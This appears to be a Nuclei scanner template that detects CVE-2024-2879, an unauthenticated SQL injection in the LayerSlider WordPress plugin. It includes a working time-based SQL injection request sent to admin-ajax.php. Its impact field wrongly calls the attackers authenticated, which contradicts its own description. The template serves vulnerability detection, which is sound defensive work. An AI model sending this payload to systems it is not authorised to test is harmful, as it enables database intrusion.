CVE-2024-2879: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection

id: CVE-2024-2879

info:
  name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
  author: d4ly
  severity: high
  description: |
    The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Authenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive data or compromising the database.
  remediation: |
    Update LayerSlider plugin to version 7.10.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2879
    - https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
    - https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
    - https://layerslider.com/release-log/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-2879
    cwe-id: CWE-89
    epss-score: 0.18402
    epss-percentile: 0.97082
    cpe: cpe:2.3:a:layerslider:layerslider:7.9.11:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: layerslider
    product: layerslider
    framework: wordpress
    publicwww-query: "/wp-content/plugins/LayerSlider/"
  tags: time-based-sqli,cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli,vuln,vkev
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"

    matchers:
      - type: word
        internal: true
        words:
          - ".ls-clearfix:before"

  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(body, "<script>")
        condition: and
# digest: 4a0a00473045022059ecbee4c84b4b626700e37690433598ad9f69756152e396c6e0ff1a90b13e62022100c7e7eaf0733a48d439f98b640637e7e670154ab82a7659984aa0d240587e9a42:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.